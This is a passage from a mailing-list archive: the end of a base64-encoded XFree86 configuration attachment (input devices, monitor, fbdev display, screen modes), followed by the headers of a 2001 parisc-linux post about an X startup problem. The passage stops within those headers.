ZG8vIgogICAgRm9udFBhdGggICAiL3Vzci9YMTFSNi9saWIvWDExL2ZvbnRzLzc1ZHBpLyIKICAg
IEZvbnRQYXRoICAgIi91c3IvWDExUjYvbGliL1gxMS9mb250cy8xMDBkcGkvIgoKIyBUaGUgbW9k
dWxlIHNlYXJjaCBwYXRoLiAgVGhlIGRlZmF1bHQgcGF0aCBpcyBzaG93biBoZXJlLgoKIyAgICBN
b2R1bGVQYXRoICIvdXNyL1gxMVI2L2xpYi9tb2R1bGVzIgoKRW5kU2VjdGlvbgoKIyAqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqCiMgU2VydmVyIGZsYWdzIHNlY3Rpb24uCiMgKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgoKU2VjdGlvbiAi
U2VydmVyRmxhZ3MiCgojIFVuY29tbWVudCB0aGlzIHRvIGNhdXNlIGEgY29yZSBkdW1wIGF0IHRo
ZSBzcG90IHdoZXJlIGEgc2lnbmFsIGlzIAojIHJlY2VpdmVkLiAgVGhpcyBtYXkgbGVhdmUgdGhl
IGNvbnNvbGUgaW4gYW4gdW51c2FibGUgc3RhdGUsIGJ1dCBtYXkKIyBwcm92aWRlIGEgYmV0dGVy
IHN0YWNrIHRyYWNlIGluIHRoZSBjb3JlIGR1bXAgdG8gYWlkIGluIGRlYnVnZ2luZwoKIyAgICBP
cHRpb24gIk5vVHJhcFNpZ25hbHMiCgojIFVuY29tbWVudCB0aGlzIHRvIGRpc2FibGUgdGhlIDxD
cnRsPjxBbHQ+PEJTPiBzZXJ2ZXIgYWJvcnQgc2VxdWVuY2UKIyBUaGlzIGFsbG93cyBjbGllbnRz
IHRvIHJlY2VpdmUgdGhpcyBrZXkgZXZlbnQuCgojICAgIE9wdGlvbiAiRG9udFphcCIKCiMgVW5j
b21tZW50IHRoaXMgdG8gZGlzYWJsZSB0aGUgPENydGw+PEFsdD48S1BfKz4vPEtQXy0+IG1vZGUg
c3dpdGNoaW5nCiMgc2VxdWVuY2VzLiAgVGhpcyBhbGxvd3MgY2xpZW50cyB0byByZWNlaXZlIHRo
ZXNlIGtleSBldmVudHMuCgojICAgIE9wdGlvbiAiRG9udCBab29tIgoKIyBVbmNvbW1lbnQgdGhp
cyB0byBkaXNhYmxlIHR1bmluZyB3aXRoIHRoZSB4dmlkdHVuZSBjbGllbnQuIFdpdGgKIyBpdCB0
aGUgY2xpZW50IGNhbiBzdGlsbCBydW4gYW5kIGZldGNoIGNhcmQgYW5kIG1vbml0b3IgYXR0cmli
dXRlcywKIyBidXQgaXQgd2lsbCBub3QgYmUgYWxsb3dlZCB0byBjaGFuZ2UgdGhlbS4gSWYgaXQg
dHJpZXMgaXQgd2lsbAojIHJlY2VpdmUgYSBwcm90b2NvbCBlcnJvci4KCiMgICAgT3B0aW9uICJE
aXNhYmxlVmlkTW9kZUV4dGVuc2lvbiIKCiMgVW5jb21tZW50IHRoaXMgdG8gZW5hYmxlIHRoZSB1
c2Ugb2YgYSBub24tbG9jYWwgeHZpZHR1bmUgY2xpZW50LiAKCiMgICAgT3B0aW9uICJBbGxvd05v
bkxvY2FsWHZpZHR1bmUiCgojIFVuY29tbWVudCB0aGlzIHRvIGRpc2FibGUgZHluYW1pY2FsbHkg
bW9kaWZ5aW5nIHRoZSBpbnB1dCBkZXZpY2UKIyAobW91c2UgYW5kIGtleWJvYXJkKSBzZXR0aW5n
cy4gCgojICAgIE9wdGlvbiAiRGlzYWJsZU1vZEluRGV2IgoKIyBVbmNvbW1lbnQgdGhpcyB0byBl
bmFibGUgdGhlIHVzZSBvZiBhIG5vbi1sb2NhbCBjbGllbnQgdG8KIyBjaGFuZ2UgdGhlIGtleWJv
YXJkIG9yIG1vdXNlIHNldHRpbmdzIChjdXJyZW50bHkgb25seSB4c2V0KS4KCiMgICAgT3B0aW9u
ICJBbGxvd05vbkxvY2FsTW9kSW5EZXYiCgpFbmRTZWN0aW9uCgojICoqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKIyBJ
bnB1dCBkZXZpY2VzCiMgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKgoKIyAqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiMgQ29yZSBrZXli
b2FyZCdzIElucHV0RGV2aWNlIHNlY3Rpb24KIyAqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCgpTZWN0aW9uICJJbnB1
dERldmljZSIKCiAgICBJZGVudGlmaWVyCSJLZXlib2FyZDEiCiAgICBEcml2ZXIJIktleWJvYXJk
IgojIEZvciBtb3N0IE9TcyB0aGUgcHJvdG9jb2wgY2FuIGJlIG9taXR0ZWQgKGl0IGRlZmF1bHRz
IHRvICJTdGFuZGFyZCIpLgojIFdoZW4gdXNpbmcgWFFVRVVFIChvbmx5IGZvciBTVlIzIGFuZCBT
VlI0LCBidXQgbm90IFNvbGFyaXMpLAojIHVuY29tbWVudCB0aGUgZm9sbG93aW5nIGxpbmUuCgoj
ICAgIE9wdGlvbiAgICAgIlByb3RvY29sIiAgICAgICJYcXVldWUiCgogICAgT3B0aW9uICJBdXRv
UmVwZWF0IiAiNTAwIDMwIgoKIyBTcGVjaWZ5IHdoaWNoIGtleWJvYXJkIExFRHMgY2FuIGJlIHVz
ZXItY29udHJvbGxlZCAoZWcsIHdpdGggeHNldCgxKSkKIyAgICBPcHRpb24JIlhsZWRzIiAgICAg
ICIxIDIgMyIKCiMgICAgT3B0aW9uICJMZWZ0QWx0IiAgICAgIk1ldGEiCiMgICAgT3B0aW9uICJS
aWdodEFsdCIgICAgIk1vZGVTaGlmdCIKCiMgVG8gY3VzdG9taXNlIHRoZSBYS0Igc2V0dGluZ3Mg
dG8gc3VpdCB5b3VyIGtleWJvYXJkLCBtb2RpZnkgdGhlCiMgbGluZXMgYmVsb3cgKHdoaWNoIGFy
ZSB0aGUgZGVmYXVsdHMpLiAgRm9yIGV4YW1wbGUsIGZvciBhIG5vbi1VLlMuCiMga2V5Ym9hcmQs
IHlvdSB3aWxsIHByb2JhYmx5IHdhbnQgdG8gdXNlOgojICAgIE9wdGlvbiAiWGtiTW9kZWwiICAg
ICJwYzEwMiIKIyBJZiB5b3UgaGF2ZSBhIFVTIE1pY3Jvc29mdCBOYXR1cmFsIGtleWJvYXJkLCB5
b3UgY2FuIHVzZToKIyAgICBPcHRpb24gIlhrYk1vZGVsIiAgICAibWljcm9zb2Z0IgojCiMgVGhl
biB0byBjaGFuZ2UgdGhlIGxhbmd1YWdlLCBjaGFuZ2UgdGhlIExheW91dCBzZXR0aW5nLgojIEZv
ciBleGFtcGxlLCBhIGdlcm1hbiBsYXlvdXQgY2FuIGJlIG9idGFpbmVkIHdpdGg6CiMgICAgT3B0
aW9uICJYa2JMYXlvdXQiICAgImRlIgojIG9yOgojICAgIE9wdGlvbiAiWGtiTGF5b3V0IiAgICJk
ZSIKIyAgICBPcHRpb24gIlhrYlZhcmlhbnQiICAibm9kZWFka2V5cyIKIwojIElmIHlvdSdkIGxp
a2UgdG8gc3dpdGNoIHRoZSBwb3NpdGlvbnMgb2YgeW91ciBjYXBzbG9jayBhbmQKIyBjb250cm9s
IGtleXMsIHVzZToKIyAgICBPcHRpb24gIlhrYk9wdGlvbnMiICAiY3RybDpzd2FwY2FwcyIKCiMg
VGhlc2UgYXJlIHRoZSBkZWZhdWx0IFhLQiBzZXR0aW5ncyBmb3IgWEZyZWU4NgojICAgIE9wdGlv
biAiWGtiUnVsZXMiICAgICJ4ZnJlZTg2IgojICAgIE9wdGlvbiAiWGtiTW9kZWwiICAgICJwYzEw
MSIKIyAgICBPcHRpb24gIlhrYkxheW91dCIgICAidXMiCiMgICAgT3B0aW9uICJYa2JWYXJpYW50
IiAgIiIKIyAgICBPcHRpb24gIlhrYk9wdGlvbnMiICAiIgoKIyAgICBPcHRpb24gIlhrYkRpc2Fi
bGUiCgogICAgT3B0aW9uICJYa2JSdWxlcyIJInhmcmVlODYiCiAgICBPcHRpb24gIlhrYk1vZGVs
IgkicGMxMDEiCiAgICBPcHRpb24gIlhrYkxheW91dCIJInVzIgojICAgIE9wdGlvbiAiWGtiVmFy
aWFudCIJIm5vZGVhZGtleXMiCgpFbmRTZWN0aW9uCgoKIyAqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiMgQ29yZSBQ
b2ludGVyJ3MgSW5wdXREZXZpY2Ugc2VjdGlvbgojICoqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKClNlY3Rpb24gIklu
cHV0RGV2aWNlIgoKIyBJZGVudGlmaWVyIGFuZCBkcml2ZXIKCiAgICBJZGVudGlmaWVyCSJNb3Vz
ZTEiCiAgICBEcml2ZXIJIm1vdXNlIgogICAgT3B0aW9uICJQcm90b2NvbCIgICAgIlBTLzIiCiMg
ICAgT3B0aW9uICJEZXZpY2UiICAgICAgIi9kZXYvbW91c2UiCiAgICBPcHRpb24gIkRldmljZSIg
ICAgICAiL2Rldi9wc2F1eCIKCiMgV2hlbiB1c2luZyBYUVVFVUUsIGNvbW1lbnQgb3V0IHRoZSBh
Ym92ZSB0d28gbGluZXMsIGFuZCB1bmNvbW1lbnQKIyB0aGUgZm9sbG93aW5nIGxpbmUuCgojICAg
IE9wdGlvbiAiUHJvdG9jb2wiCSJYcXVldWUiCgojIEJhdWRyYXRlIGFuZCBTYW1wbGVSYXRlIGFy
ZSBvbmx5IGZvciBzb21lIExvZ2l0ZWNoIG1pY2UuIEluCiMgYWxtb3N0IGV2ZXJ5IGNhc2UgdGhl
c2UgbGluZXMgc2hvdWxkIGJlIG9taXR0ZWQuCgojICAgIE9wdGlvbiAiQmF1ZFJhdGUiCSI5NjAw
IgojICAgIE9wdGlvbiAiU2FtcGxlUmF0ZSIJIjE1MCIKCiMgRW11bGF0ZTNCdXR0b25zIGlzIGFu
IG9wdGlvbiBmb3IgMi1idXR0b24gTWljcm9zb2Z0IG1pY2UKIyBFbXVsYXRlM1RpbWVvdXQgaXMg
dGhlIHRpbWVvdXQgaW4gbWlsbGlzZWNvbmRzIChkZWZhdWx0IGlzIDUwbXMpCgojICAgIE9wdGlv
biAiRW11bGF0ZTNCdXR0b25zIgojICAgIE9wdGlvbiAiRW11bGF0ZTNUaW1lb3V0IiAgICAiMTAw
IgoKIyBDaG9yZE1pZGRsZSBpcyBhbiBvcHRpb24gZm9yIHNvbWUgMy1idXR0b24gTG9naXRlY2gg
bWljZQoKIyAgICBPcHRpb24gIkNob3JkTWlkZGxlIgoKRW5kU2VjdGlvbgoKCiMgKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKgojIE90aGVyIGlucHV0IGRldmljZSBzZWN0aW9ucyAKIyB0aGlzIGlzIG9wdGlvbmFsIGFu
ZCBpcyByZXF1aXJlZCBvbmx5IGlmIHlvdQojIGFyZSB1c2luZyBleHRlbmRlZCBpbnB1dCBkZXZp
Y2VzLiAgVGhpcyBpcyBmb3IgZXhhbXBsZSBvbmx5LiAgUmVmZXIKIyB0byB0aGUgWEY4NkNvbmZp
ZyBtYW4gcGFnZSBmb3IgYSBkZXNjcmlwdGlvbiBvZiB0aGUgb3B0aW9ucy4KIyAqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqCiMKIyBTZWN0aW9uICJJbnB1dERldmljZSIgCiMgICAgSWRlbnRpZmllciAgIk1vdXNlMiIK
IyAgICBEcml2ZXIgICAgICAibW91c2UiCiMgICAgT3B0aW9uICAgICAgIlByb3RvY29sIiAgICAg
ICJNb3VzZU1hbiIKIyAgICBPcHRpb24gICAgICAiRGV2aWNlIiAgICAgICAgIi9kZXYvbW91c2Uy
IgojIEVuZFNlY3Rpb24KIwojIFNlY3Rpb24gIklucHV0RGV2aWNlIgojICAgIElkZW50aWZpZXIg
InNwYWNlYmFsbCIKIyAgICBEcml2ZXIgICAgICJtYWdlbGxhbiIKIyAgICBPcHRpb24gICAgICJE
ZXZpY2UiICAgICAgICAiL2Rldi9jdWEwIgojIEVuZFNlY3Rpb24KIwojIFNlY3Rpb24gIklucHV0
RGV2aWNlIgojICAgIElkZW50aWZpZXIgInNwYWNlYmFsbDIiCiMgICAgRHJpdmVyICAgICAic3Bh
Y2VvcmIiCiMgICAgT3B0aW9uICAgICAiRGV2aWNlIiAgICAgICAgIi9kZXYvY3VhMCIKIyBFbmRT
ZWN0aW9uCiMKIyBTZWN0aW9uICJJbnB1dERldmljZSIKIyAgICBJZGVudGlmaWVyICJ0b3VjaHNj
cmVlbjAiCiMgICAgRHJpdmVyICAgICAibWljcm90b3VjaCIKIyAgICBPcHRpb24gICAgICJEZXZp
Y2UiICAgICAgICAiL2Rldi90dHlTMCIKIyAgICBPcHRpb24gICAgICJNaW5YIiAgICAgICAgICAi
MTQxMiIKIyAgICBPcHRpb24gICAgICJNYXhYIiAgICAgICAgICAiMTUxODQiCiMgICAgT3B0aW9u
ICAgICAiTWluWSIgICAgICAgICAgIjE1MzcyIgojICAgIE9wdGlvbiAgICAgIk1heFkiICAgICAg
ICAgICIxMjMwIgojICAgIE9wdGlvbiAgICAgIlNjcmVlbk51bWJlciIgICIwIgojICAgIE9wdGlv
biAgICAgIlJlcG9ydGluZ01vZGUiICJTY2FsZWQiCiMgICAgT3B0aW9uICAgICAiQnV0dG9uTnVt
YmVyIiAgIjEiCiMgICAgT3B0aW9uICAgICAiU2VuZENvcmVFdmVudHMiCiMgRW5kU2VjdGlvbgoj
CiMgU2VjdGlvbiAiSW5wdXREZXZpY2UiCiMgICAgSWRlbnRpZmllciAidG91Y2hzY3JlZW4xIgoj
ICAgIERyaXZlciAgICAgImVsbzIzMDAiCiMgICAgT3B0aW9uICAgICAiRGV2aWNlIiAgICAgICAg
Ii9kZXYvdHR5UzAiCiMgICAgT3B0aW9uICAgICAiTWluWCIgICAgICAgICAgIjIzMSIKIyAgICBP
cHRpb24gICAgICJNYXhYIiAgICAgICAgICAiMzg2OCIKIyAgICBPcHRpb24gICAgICJNaW5ZIiAg
ICAgICAgICAiMzg1OCIKIyAgICBPcHRpb24gICAgICJNYXhZIiAgICAgICAgICAiMjcyIgojICAg
IE9wdGlvbiAgICAgIlNjcmVlbk51bWJlciIgICIwIgojICAgIE9wdGlvbiAgICAgIlJlcG9ydGlu
Z01vZGUiICJTY2FsZWQiCiMgICAgT3B0aW9uICAgICAiQnV0dG9uVGhyZXNob2xkIiAgICAgICAi
MTciCiMgICAgT3B0aW9uICAgICAiQnV0dG9uTnVtYmVyIiAgIjEiCiMgICAgT3B0aW9uICAgICAi
U2VuZENvcmVFdmVudHMiCiMgRW5kU2VjdGlvbgoKIyAqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiMgTW9uaXRvciBz
ZWN0aW9uCiMgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKgoKIyBBbnkgbnVtYmVyIG9mIG1vbml0b3Igc2VjdGlvbnMg
bWF5IGJlIHByZXNlbnQKClNlY3Rpb24gIk1vbml0b3IiCgogICAgSWRlbnRpZmllciAgImxjZCIK
CiMgSG9yaXpTeW5jIGlzIGluIGtIeiB1bmxlc3MgdW5pdHMgYXJlIHNwZWNpZmllZC4KIyBIb3Jp
elN5bmMgbWF5IGJlIGEgY29tbWEgc2VwYXJhdGVkIGxpc3Qgb2YgZGlzY3JldGUgdmFsdWVzLCBv
ciBhCiMgY29tbWEgc2VwYXJhdGVkIGxpc3Qgb2YgcmFuZ2VzIG9mIHZhbHVlcy4KIyBOT1RFOiBU
SEUgVkFMVUVTIEhFUkUgQVJFIEVYQU1QTEVTIE9OTFkuICBSRUZFUiBUTyBZT1VSIE1PTklUT1In
UwojIFVTRVIgTUFOVUFMIEZPUiBUSEUgQ09SUkVDVCBOVU1CRVJTLgoKICAgIEhvcml6U3luYyAg
IDMxLjUgLSA0OC41CgojICAgIEhvcml6U3luYwkzMC02NCAgICAgICAgICMgbXVsdGlzeW5jCiMg
ICAgSG9yaXpTeW5jCTMxLjUsIDM1LjIgICAgIyBtdWx0aXBsZSBmaXhlZCBzeW5jIGZyZXF1ZW5j
aWVzCiMgICAgSG9yaXpTeW5jCTE1LTI1LCAzMC01MCAgIyBtdWx0aXBsZSByYW5nZXMgb2Ygc3lu
YyBmcmVxdWVuY2llcwoKIyBWZXJ0UmVmcmVzaCBpcyBpbiBIeiB1bmxlc3MgdW5pdHMgYXJlIHNw
ZWNpZmllZC4KIyBWZXJ0UmVmcmVzaCBtYXkgYmUgYSBjb21tYSBzZXBhcmF0ZWQgbGlzdCBvZiBk
aXNjcmV0ZSB2YWx1ZXMsIG9yIGEKIyBjb21tYSBzZXBhcmF0ZWQgbGlzdCBvZiByYW5nZXMgb2Yg
dmFsdWVzLgojIE5PVEU6IFRIRSBWQUxVRVMgSEVSRSBBUkUgRVhBTVBMRVMgT05MWS4gIFJFRkVS
IFRPIFlPVVIgTU9OSVRPUidTCiMgVVNFUiBNQU5VQUwgRk9SIFRIRSBDT1JSRUNUIE5VTUJFUlMu
CgogICAgVmVydFJlZnJlc2ggNTAtMTAwCgpFbmRTZWN0aW9uCgoKIyAqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiMg
R3JhcGhpY3MgZGV2aWNlIHNlY3Rpb24KIyAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCgojIEFueSBudW1iZXIgb2Yg
Z3JhcGhpY3MgZGV2aWNlIHNlY3Rpb25zIG1heSBiZSBwcmVzZW50CgojIFN0YW5kYXJkIFZHQSBE
ZXZpY2U6CgpTZWN0aW9uICJEZXZpY2UiCiAgICBJZGVudGlmaWVyCSJTdGFuZGFyZCBWR0EiCiAg
ICBWZW5kb3JOYW1lCSJVbmtub3duIgogICAgQm9hcmROYW1lCSJVbmtub3duIgoKIyBUaGUgY2hp
cHNldCBsaW5lIGlzIG9wdGlvbmFsIGluIG1vc3QgY2FzZXMuICBJdCBjYW4gYmUgdXNlZCB0byBv
dmVycmlkZQojIHRoZSBkcml2ZXIncyBjaGlwc2V0IGRldGVjdGlvbiwgYW5kIHNob3VsZCBub3Qg
bm9ybWFsbHkgYmUgc3BlY2lmaWVkLgoKIyAgICBDaGlwc2V0CSJnZW5lcmljIgoKIyBUaGUgRHJp
dmVyIGxpbmUgbXVzdCBiZSBwcmVzZW50LiAgV2hlbiB1c2luZyBydW4tdGltZSBsb2FkYWJsZSBk
cml2ZXIKIyBtb2R1bGVzLCB0aGlzIGxpbmUgaW5zdHJ1Y3RzIHRoZSBzZXJ2ZXIgdG8gbG9hZCB0
aGUgc3BlY2lmaWVkIGRyaXZlcgojIG1vZHVsZS4gIEV2ZW4gd2hlbiBub3QgdXNpbmcgbG9hZGFi
bGUgZHJpdmVyIG1vZHVsZXMsIHRoaXMgbGluZQojIGluZGljYXRlcyB3aGljaCBkcml2ZXIgc2hv
dWxkIGludGVycHJldCB0aGUgaW5mb3JtYXRpb24gaW4gdGhpcyBzZWN0aW9uLgoKICAgIERyaXZl
ciAgICAgImZiZGV2IgojIFRoZSBCdXNJRCBsaW5lIGlzIHVzZWQgdG8gc3BlY2lmeSB3aGljaCBv
ZiBwb3NzaWJseSBtdWx0aXBsZSBkZXZpY2VzCiMgdGhpcyBzZWN0aW9uIGlzIGludGVuZGVkIGZv
ci4gIFdoZW4gdGhpcyBsaW5lIGlzbid0IHByZXNlbnQsIGEgZGV2aWNlCiMgc2VjdGlvbiBjYW4g
b25seSBtYXRjaCB1cCB3aXRoIHRoZSBwcmltYXJ5IHZpZGVvIGRldmljZS4gIEZvciBQQ0kKIyBk
ZXZpY2VzIGEgbGluZSBsaWtlIHRoZSBmb2xsb3dpbmcgY291bGQgYmUgdXNlZC4gIFRoaXMgbGlu
ZSBzaG91bGQgbm90CiMgbm9ybWFsbHkgYmUgaW5jbHVkZWQgdW5sZXNzIHRoZXJlIGlzIG1vcmUg
dGhhbiBvbmUgdmlkZW8gZGV2aWNlCiMgaW50YWxsZWQuCgojICAgIEJ1c0lEICAgICAgIlBDSTow
OjEwOjAiCgojICAgIFZpZGVvUmFtCTI1NgoKIyAgICBDbG9ja3MJMjUuMiAyOC4zCgpFbmRTZWN0
aW9uCgojIERldmljZSBjb25maWd1cmVkIGJ5IHhmODZjb25maWc6CgpTZWN0aW9uICJEZXZpY2Ui
CiAgICBJZGVudGlmaWVyICAiZmJkZXYiCiAgICBEcml2ZXIgICAgICAiZmJkZXYiCiAgICAjVmlk
ZW9SYW0gICAgODE5MgogICAgIyBJbnNlcnQgQ2xvY2tzIGxpbmVzIGhlcmUgaWYgYXBwcm9wcmlh
dGUKRW5kU2VjdGlvbgoKCiMgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgojIFNjcmVlbiBzZWN0aW9ucwojICoqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioKCiMgQW55IG51bWJlciBvZiBzY3JlZW4gc2VjdGlvbnMgbWF5IGJlIHByZXNlbnQu
ICBFYWNoIGRlc2NyaWJlcwojIHRoZSBjb25maWd1cmF0aW9uIG9mIGEgc2luZ2xlIHNjcmVlbi4g
IEEgc2luZ2xlIHNwZWNpZmljIHNjcmVlbiBzZWN0aW9uCiMgbWF5IGJlIHNwZWNpZmllZCBmcm9t
IHRoZSBYIHNlcnZlciBjb21tYW5kIGxpbmUgd2l0aCB0aGUgIi1zY3JlZW4iCiMgb3B0aW9uLgpT
ZWN0aW9uICJTY3JlZW4iCiAgICBJZGVudGlmaWVyICAiU2NyZWVuIDEiCiAgICBEZXZpY2UgICAg
ICAiZmJkZXYiCiAgICBNb25pdG9yICAgICAibGNkIgogICAgRGVmYXVsdERlcHRoIDgKCiAgICBT
dWJzZWN0aW9uICJEaXNwbGF5IgogICAgICAgIERlcHRoICAgICAgIDgKICAgICAgICBNb2RlcyAg
ICAgICAiMTI4MHgxMDI0IiAjIjgwMHg2MDAiICI2NDB4NDgwIiAiMTAyNHg3NjgiIAogICAgICAg
IFZpZXdQb3J0ICAgIDAgMAogICAgRW5kU3Vic2VjdGlvbgogICAgU3Vic2VjdGlvbiAiRGlzcGxh
eSIKICAgICAgICBEZXB0aCAgICAgICAxNgogICAgICAgIE1vZGVzICAgICAgICI2NDB4NDgwIiAi
ODAweDYwMCIgIjEwMjR4NzY4IiAiMTI4MHgxMDI0IgogICAgICAgIFZpZXdQb3J0ICAgIDAgMAog
ICAgRW5kU3Vic2VjdGlvbgogICAgU3Vic2VjdGlvbiAiRGlzcGxheSIKICAgICAgICBEZXB0aCAg
ICAgICAyNAogICAgICAgIE1vZGVzICAgICAgICI4MDB4NjAwIiAjICIxMDI0eDc2OCIKICAgICAg
ICBWaWV3UG9ydCAgICAwIDAKICAgIEVuZFN1YnNlY3Rpb24KRW5kU2VjdGlvbgoKIyAqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqCiMgU2VydmVyTGF5b3V0IHNlY3Rpb25zLgojICoqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKCiMgQW55IG51
bWJlciBvZiBTZXJ2ZXJMYXlvdXQgc2VjdGlvbnMgbWF5IGJlIHByZXNlbnQuICBFYWNoIGRlc2Ny
aWJlcwojIHRoZSB3YXkgbXVsdGlwbGUgc2NyZWVucyBhcmUgb3JnYW5pc2VkLiAgQSBzcGVjaWZp
YyBTZXJ2ZXJMYXlvdXQKIyBzZWN0aW9uIG1heSBiZSBzcGVjaWZpZWQgZnJvbSB0aGUgWCBzZXJ2
ZXIgY29tbWFuZCBsaW5lIHdpdGggdGhlCiMgIi1sYXlvdXQiIG9wdGlvbi4gIEluIHRoZSBhYnNl
bmNlIG9mIHRoaXMsIHRoZSBmaXJzdCBzZWN0aW9uIGlzIHVzZWQuCiMgV2hlbiBub3cgU2VydmVy
TGF5b3V0IHNlY3Rpb24gaXMgcHJlc2VudCwgdGhlIGZpcnN0IFNjcmVlbiBzZWN0aW9uCiMgaXMg
dXNlZCBhbG9uZS4KClNlY3Rpb24gIlNlcnZlckxheW91dCIKCiMgVGhlIElkZW50aWZpZXIgbGlu
ZSBtdXN0IGJlIHByZXNlbnQKICAgIElkZW50aWZpZXIgICJTaW1wbGUgTGF5b3V0IgoKIyBFYWNo
IFNjcmVlbiBsaW5lIHNwZWNpZmllcyBhIFNjcmVlbiBzZWN0aW9uIG5hbWUsIGFuZCBvcHRpb25h
bGx5CiMgdGhlIHJlbGF0aXZlIHBvc2l0aW9uIG9mIG90aGVyIHNjcmVlbnMuICBUaGUgZm91ciBu
YW1lcyBhZnRlcgojIHByaW1hcnkgc2NyZWVuIG5hbWUgYXJlIHRoZSBzY3JlZW5zIHRvIHRoZSB0
b3AsIGJvdHRvbSwgbGVmdCBhbmQgcmlnaHQKIyBvZiB0aGUgcHJpbWFyeSBzY3JlZW4uICBJbiB0
aGlzIGV4YW1wbGUsIHNjcmVlbiAyIGlzIGxvY2F0ZWQgdG8gdGhlCiMgcmlnaHQgb2Ygc2NyZWVu
IDEuCgogICAgU2NyZWVuICJTY3JlZW4gMSIKCiMgRWFjaCBJbnB1dERldmljZSBsaW5lIHNwZWNp
ZmllcyBhbiBJbnB1dERldmljZSBzZWN0aW9uIG5hbWUgYW5kCiMgb3B0aW9uYWxseSBzb21lIG9w
dGlvbnMgdG8gc3BlY2lmeSB0aGUgd2F5IHRoZSBkZXZpY2UgaXMgdG8gYmUKIyB1c2VkLiAgVGhv
c2Ugb3B0aW9ucyBpbmNsdWRlICJDb3JlUG9pbnRlciIsICJDb3JlS2V5Ym9hcmQiIGFuZAojICJT
ZW5kQ29yZUV2ZW50cyIuCgogICAgSW5wdXREZXZpY2UgIk1vdXNlMSIgIkNvcmVQb2ludGVyIgog
ICAgSW5wdXREZXZpY2UgIktleWJvYXJkMSIgIkNvcmVLZXlib2FyZCIKCkVuZFNlY3Rpb24KCg==


---MOQ1008608060e08f1afdccc63cd0f3ba83b40e0f4412--



From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "JOERGENSEN,RUNAR (HP-Norway,ex1)" <runar_joergensen@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Startup problem X
Date: Mon, 17 Dec 2001 19:37:23 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <CDB09D386161D411881900D0B77FBBC106521DA2@ibsen.sweden.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620859 31768 80.91.229.3 (22 Nov 2014 01:47:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:39 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 11:37:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnmg1.net.external.hp.com (bbnnmg1.net.external.hp.com [155.208.254.184])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0398482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 11:37:33 -0700 (MST)
Original-Received: from meuse.BELGIUM.HP.COM (meuse.belgium.hp.com [15.160.6.250])
	by bbnmg1.net.external.hp.com (Postfix) with SMTP id CB5BCF
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 19:36:54 +0100 (MET)
Original-Received: from 15.160.6.250 by meuse.BELGIUM.HP.COM (InterScan E-Mail VirusWall NT); Mon, 17 Dec 2001 19:37:31 +0100 (W. Europe Standard Time)
Original-Received: by meuse.belgium.hp.com with Internet Mail Service (5.5.2653.19)
	id <YV8V72WS>; Mon, 17 Dec 2001 19:37:31 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
